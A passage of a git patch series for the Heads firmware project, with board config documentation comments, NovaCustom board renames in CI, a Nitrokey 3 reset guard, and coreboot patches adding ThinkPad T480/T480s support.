(PPC64LE, Power9) : @tlaurion (Will become untested, no other known users, not worth my time nor effort even though massive investment of all forms) From fef0326f556b40a01ef765ebf0800589465fe064 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 22 Jan 2025 15:14:22 -0500 Subject: [PATCH 482/619] nitropad/novacustom board configs: point to Dasharo docs for disassembly and recovery instructions Signed-off-by: Thierry Laurion --- .../UNTESTED_nitropad-ns50.config | 3 +++ boards/novacustom-v560tu/novacustom-v560tu.config | 12 ++++++++++-- .../novacustom_nv4x_adl/novacustom_nv4x_adl.config | 3 +++ 3 files changed, 16 insertions(+), 2 deletions(-) diff --git a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config index 22bed787d..c8c2e4a57 100644 --- a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config +++ b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config @@ -1,5 +1,8 @@ # Nitrokey Nitropad NS51 board configuration # Note: for reference, other GOP enabled FB board is librem_11 +# +# Docs: +# Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#ns5x7x-12th-gen export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index fb5c172ff..2451b1bda 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -2,8 +2,16 @@ # Note the FLASH_OPTIONS: '--ifd -i bios -i me -i fd' # This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 # Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' - -# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) +# +# Docs: +# Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#14th-gen +# +# WARNING: The first boot after updating firmware may take a longer time than usual, due to DDR5 memory being re-trained. +# Generally, first boot time increases according to the amount of installed RAM in the system. A system with 64 GB of RAM may take over 2 minutes to boot. +# After first boot, memory training settings are cached, and subsequent boot times should be much lower. +# +# DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable +# ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 8454cf26f..5d00159f1 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -1,5 +1,8 @@ # NovaCustom NV4x 12th Gen (nv40pz: Alder Lake) board configuration # Note: for reference, other GOP enabled FB board is librem_11 +# +# Docs: +# Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#12th-gen export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo From 8381ee3a86834b7457f955d47732e0f2b41a906e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 24 Jan 2025 12:07:59 -0500 Subject: [PATCH 483/619] novacustom_nv4x_adl -> novacustom-nv4x_adl consistent NovaCustom board naming scheme from now on Signed-off-by: Thierry Laurion --- .circleci/config.yml | 6 +++--- .../novacustom-nv4x_adl.config} | 2 +- ..._nv4x_adl.config => coreboot-novacustom-nv4x_adl.config} | 0 3 files changed, 4 insertions(+), 4 deletions(-) rename boards/{novacustom_nv4x_adl/novacustom_nv4x_adl.config => novacustom-nv4x_adl/novacustom-nv4x_adl.config} (97%) rename config/{coreboot-novacustom_nv4x_adl.config => coreboot-novacustom-nv4x_adl.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 205d0ef78..6ff83e202 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -250,8 +250,8 @@ workflows: # No need to wait further for other board's cache # We reuse built modules from x230-hotp-maximized cache only - build_and_persist: - name: novacustom_nv4x_adl - target: novacustom_nv4x_adl + name: novacustom-nv4x_adl + target: novacustom-nv4x_adl subcommand: "" requires: - x230-hotp-maximized @@ -516,7 +516,7 @@ workflows: target: UNTESTED_nitropad-ns50 subcommand: "" requires: - - novacustom_nv4x_adl + - novacustom-nv4x_adl - build: name: novacustom-v560tu diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config similarity index 97% rename from boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config rename to boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config index 5d00159f1..8fb8f0194 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config @@ -8,7 +8,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom_nv4x_adl.config +CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-nv4x_adl.config CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config #On-demand hardware support (modules.cpio) diff --git a/config/coreboot-novacustom_nv4x_adl.config b/config/coreboot-novacustom-nv4x_adl.config similarity index 100% rename from config/coreboot-novacustom_nv4x_adl.config rename to config/coreboot-novacustom-nv4x_adl.config From e2d1a87809ff7e431f4dd71d068e79b3a5081005 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 3 Feb 2025 15:03:26 -0500 Subject: [PATCH 484/619] non-hotp boards: skip Secrets App reset with hotp_verification if binary doesn't exit nk3 was not tested on non-hotp boards. Make sure both htop_verification and nk3 is present before resetting Secrets App Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index db8b330ef..22f1bba54 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -151,8 +151,9 @@ mount_boot() { reset_nk3_secret_app() { TRACE_FUNC + # Reset Nitrokey 3 Secrets app with $ADMIN_PIN (default 12345678, or customised) - if lsusb | grep -q "20a0:42b2"; then + if lsusb | grep -q "20a0:42b2" && [ -x /bin/hotp_verification ]; then echo warn "Resetting Nitrokey 3's Secrets App with PIN. Physical presence (touch) will be required" # TODO: change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed From bce18815fd5b2242972ab3fea8a68deeba258254 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Mon, 3 Feb 2025 22:33:20 +0100 Subject: [PATCH 485/619] Add additional coreboot version for T480 Signed-off-by: Thierry Laurion --- modules/coreboot | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/coreboot b/modules/coreboot index 5793983fe..7de21fb43 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,6 +98,11 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased +# T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above +coreboot-t480_repo := https://review.coreboot.org/coreboot.git +coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +$(eval $(call coreboot_module,t480,24.02.01)) + # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" $(error "$(BOARD): does not specify coreboot version under CONFIG_COREBOOT_VERSION") From ca1bd2025b17680d0b6f1b6fc6e846add12672e5 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Mon, 3 Feb 2025 22:34:08 +0100 Subject: [PATCH 486/619] Add coreboot patches for T480 Signed-off-by: Thierry Laurion --- ...soc-intel-skylake-configure-usb-acpi.patch | 94 + ...e-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 30 + ...Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 2237 +++++++++++++++++ ...b-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 708 ++++++ ...ool-add-nuke-flag-all-0xFF-on-region.patch | 205 ++ ...or-coreboot-images-built-without-a-p.patch | 39 + ...b-dell-optiplex_780-Add-USFF-variant.patch | 326 +++ ...-dell-3050micro-disable-nvme-hotplug.patch | 49 + ...config-option-CONFIG_LENOVO_TBFW_BIN.patch | 78 + ...c-intel-skylake-Don-t-compress-FSP-S.patch | 36 + ...-Hardcoded-poweroff-after-power-fail.patch | 82 + ...aro-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 32 + ...e-Disable-stack-overflow-debug-optio.patch | 61 + ...tel-x4x-Disable-stack-overflow-debug.patch | 33 + 14 files changed, 4010 insertions(+) create mode 100644 patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch create mode 100644 patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch create mode 100644 patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch create mode 100644 patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch create mode 100644 patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch create mode 100644 patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch create mode 100644 patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch create mode 100644 patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch create mode 100644 patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch create mode 100644 patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch create mode 100644 patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch create mode 100644 patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch create mode 100644 patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch create mode 100644 patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch new file mode 100644 index 000000000..215a4e6de --- /dev/null +++ b/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch @@ -0,0 +1,94 @@ +From 0a28ea805e3dddfaa89e6c4255506a390bc7ce04 Mon Sep 17 00:00:00 2001 +From: Felix Singer +Date: Wed, 26 Jun 2024 04:24:31 +0200 +Subject: [PATCH 01/11] soc/intel/skylake: configure usb acpi + +Change-Id: I53fc73046e4b107064fa8c3c617ba6d9b807b71d +Signed-off-by: Felix Singer +--- + src/soc/intel/skylake/Kconfig | 1 + + src/soc/intel/skylake/chipset.cb | 56 +++++++++++++++++++++++++++++++- + 2 files changed, 56 insertions(+), 1 deletion(-) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index 22017c848b..c24df2ef75 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -10,6 +10,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE + select CPU_INTEL_COMMON + select CPU_INTEL_FIRMWARE_INTERFACE_TABLE + select CPU_SUPPORTS_PM_TIMER_EMULATION ++ select DRIVERS_USB_ACPI + select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 + select FSP_COMPRESS_FSP_S_LZ4 + select FSP_M_XIP +diff --git a/src/soc/intel/skylake/chipset.cb b/src/soc/intel/skylake/chipset.cb +index 6538a1475b..dfb81d496e 100644 +--- a/src/soc/intel/skylake/chipset.cb ++++ b/src/soc/intel/skylake/chipset.cb +@@ -13,7 +13,61 @@ chip soc/intel/skylake + device pci 07.0 alias chap off end + device pci 08.0 alias gmm off end # Gaussian Mixture Model + device pci 13.0 alias ish off end # SensorHub +- device pci 14.0 alias south_xhci off ops usb_xhci_ops end ++ device pci 14.0 alias south_xhci off ops usb_xhci_ops ++ chip drivers/usb/acpi ++ register "type" = "UPC_TYPE_HUB" ++ device usb 0.0 alias xhci_root_hub off ++ chip drivers/usb/acpi ++ device usb 2.0 alias usb2_port1 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.1 alias usb2_port2 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.2 alias usb2_port3 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.3 alias usb2_port4 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.4 alias usb2_port5 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.5 alias usb2_port6 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.6 alias usb2_port7 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.7 alias usb2_port8 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.8 alias usb2_port9 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.9 alias usb2_port10 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.0 alias usb3_port1 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.1 alias usb3_port2 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.2 alias usb3_port3 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.3 alias usb3_port4 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.4 alias usb3_port5 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.5 alias usb3_port6 off end ++ end ++ end ++ end ++ end + device pci 14.1 alias south_xdci off ops usb_xdci_ops end + device pci 14.2 alias thermal off end + device pci 14.3 alias cio off end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch new file mode 100644 index 000000000..f60aa74a3 --- /dev/null +++ b/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch @@ -0,0 +1,30 @@ +From aa6dd7aa4693bd9ce1fe7f35b9532e5411fc1098 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Fri, 22 Nov 2024 21:26:48 +0000 +Subject: [PATCH 02/11] soc/intel/skylake: Enable 4E/4F PNP I/O ports in + bootblock + +Change-Id: I57c9d8a9513a268e2ca6a0abd1306cd038598173 +Signed-off-by: Mate Kukri +--- + src/soc/intel/skylake/bootblock/pch.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/soc/intel/skylake/bootblock/pch.c b/src/soc/intel/skylake/bootblock/pch.c +index df00bb85a9..beaece960b 100644 +--- a/src/soc/intel/skylake/bootblock/pch.c ++++ b/src/soc/intel/skylake/bootblock/pch.c +@@ -100,8 +100,8 @@ static void soc_config_pwrmbase(void) + + void pch_early_iorange_init(void) + { +- uint16_t io_enables = LPC_IOE_SUPERIO_2E_2F | LPC_IOE_KBC_60_64 | +- LPC_IOE_EC_62_66; ++ uint16_t io_enables = LPC_IOE_EC_4E_4F | LPC_IOE_SUPERIO_2E_2F | ++ LPC_IOE_KBC_60_64 | LPC_IOE_EC_62_66; + + const config_t *config = config_of_soc(); + +-- +2.39.5 + diff --git a/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch new file mode 100644 index 000000000..108f688db --- /dev/null +++ b/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -0,0 +1,2237 @@ +From 1652c22825d3001e77159aa539dfa49d2389c775 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Tue, 31 Dec 2024 22:49:15 +0000 +Subject: [PATCH 03/11] mb/lenovo: Add ThinkPad T480 and ThinkPad T480s + +These machine have BootGuard fused and requires deguard to +boot coreboot. + +Known issues: +- Alpine Ridge Thunderbolt 3 controller does not work +- Some Fn+F{1-12} keys aren't handled correctly +- Nvidia dGPU is finicky + - Needs option ROM + - Power enable code is buggy + - Nouveau only works on linux 6.8-6.9 +- Headphone jack isn't detected as plugged in despite correct verbs + +Thanks to Leah Rowe for helping with the T480s. + +Signed-off-by: Mate Kukri +Change-Id: I19d421412c771c1f242f6ff39453f824fa866163 +--- + src/device/pci_rom.c | 4 +- + src/ec/lenovo/h8/acpi/ec.asl | 2 +- + src/ec/lenovo/h8/bluetooth.c | 6 +- + src/ec/lenovo/h8/wwan.c | 6 +- + src/mainboard/lenovo/sklkbl_thinkpad/Kconfig | 57 +++++ + .../lenovo/sklkbl_thinkpad/Kconfig.name | 7 + + .../lenovo/sklkbl_thinkpad/Makefile.mk | 73 +++++++ + .../lenovo/sklkbl_thinkpad/acpi/ec.asl | 12 ++ + .../lenovo/sklkbl_thinkpad/acpi/superio.asl | 3 + + .../lenovo/sklkbl_thinkpad/bootblock.c | 60 ++++++ + .../lenovo/sklkbl_thinkpad/devicetree.cb | 71 ++++++ + src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl | 33 +++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.c | 153 +++++++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.h | 99 +++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/gpio.h | 8 + + .../lenovo/sklkbl_thinkpad/ramstage.c | 105 +++++++++ + .../sklkbl_thinkpad/variants/t480/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480/gpio.c | 203 ++++++++++++++++++ + .../sklkbl_thinkpad/variants/t480/hda_verb.c | 90 ++++++++ + .../variants/t480/memory_init_params.c | 20 ++ + .../variants/t480/overridetree.cb | 103 +++++++++ + .../sklkbl_thinkpad/variants/t480s/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480s/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480s/gpio.c | 199 +++++++++++++++++ + .../sklkbl_thinkpad/variants/t480s/hda_verb.c | 90 ++++++++ + .../variants/t480s/memory_init_params.c | 44 ++++ + .../variants/t480s/overridetree.cb | 103 +++++++++ + .../variants/t480s/spd/spd_0.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_1.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_10.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_11.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_12.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_13.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_14.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_15.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_16.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_17.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_18.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_19.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_2.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_20.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_3.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_4.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_5.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_6.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_7.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_8.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_9.bin | Bin 0 -> 512 bytes + 49 files changed, 1583 insertions(+), 6 deletions(-) + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/gpio.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin + +diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c +index d60720eb49..cc6b9b068a 100644 +--- a/src/device/pci_rom.c ++++ b/src/device/pci_rom.c +@@ -304,11 +304,13 @@ void pci_rom_ssdt(const struct device *device) + return; + } + ++#if 0 + const char *scope = acpi_device_path(device); + if (!scope) { + printk(BIOS_ERR, "%s: Missing ACPI scope\n", dev_path(device)); + return; + } ++#endif + + /* Supports up to four devices. */ + if ((CBMEM_ID_ROM0 + ngfx) > CBMEM_ID_ROM3) { +@@ -336,7 +338,7 @@ void pci_rom_ssdt(const struct device *device) + memcpy(cbrom, rom, cbrom_length); + + /* write _ROM method */ +- acpigen_write_scope(scope); ++ acpigen_write_scope("\\_SB.PCI0.RP01.PEGP"); + acpigen_write_rom(cbrom, cbrom_length); + acpigen_pop_len(); /* pop scope */ + } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index bc54d3b422..8f4a8e1986 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,7 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-#include "thermal.asl" ++//#include "thermal.asl" + #include "systemstatus.asl" + #include "thinkpad.asl" + } +diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c +index 16fc8dce39..be71a24ced 100644 +--- a/src/ec/lenovo/h8/bluetooth.c ++++ b/src/ec/lenovo/h8/bluetooth.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -28,16 +28,18 @@ bool h8_has_bdc(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_bdc_detection) { ++ if (1 || !conf->has_bdc_detection) { + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->bdc_gpio_num) == conf->bdc_gpio_lvl) { + printk(BIOS_INFO, "H8: BDC installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: BDC not installed\n"); + return false; +diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c +index 685886fcce..5cdcf77406 100644 +--- a/src/ec/lenovo/h8/wwan.c ++++ b/src/ec/lenovo/h8/wwan.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -26,16 +26,18 @@ bool h8_has_wwan(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_wwan_detection) { ++ if (1 || !conf->has_wwan_detection) { + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->wwan_gpio_num) == conf->wwan_gpio_lvl) { + printk(BIOS_INFO, "H8: WWAN installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: WWAN not installed\n"); + return false; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +new file mode 100644 +index 0000000000..4998672943 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +@@ -0,0 +1,57 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ bool ++ select BOARD_ROMSIZE_KB_16384 ++ select EC_LENOVO_H8 ++ select EC_LENOVO_PMH7 ++ select H8_HAS_BAT_THRESHOLDS_IMPL ++ select H8_HAS_LEDLOGO ++ select H8_HAS_PRIMARY_FN_KEYS ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select INTEL_GMA_HAVE_VBT ++ select INTEL_INT15 ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_HAS_TPM2 ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select MEMORY_MAPPED_TPM ++ select SOC_INTEL_COMMON_BLOCK_HDA_VERB ++ select SOC_INTEL_KABYLAKE ++ select SPD_READ_BY_WORD ++ select SYSTEM_TYPE_LAPTOP ++ ++config BOARD_LENOVO_T480 ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config BOARD_LENOVO_T480S ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++if BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config MAINBOARD_DIR ++ default "lenovo/sklkbl_thinkpad" ++ ++config VARIANT_DIR ++ default "t480" if BOARD_LENOVO_T480 ++ default "t480s" if BOARD_LENOVO_T480S ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config MAINBOARD_PART_NUMBER ++ default "T480" if BOARD_LENOVO_T480 ++ default "T480s" if BOARD_LENOVO_T480S ++ ++config CBFS_SIZE ++ default 0x900000 ++ ++config DIMM_MAX ++ default 2 ++ ++config DIMM_SPD_SIZE ++ default 512 # DDR4 ++ ++endif +diff --git 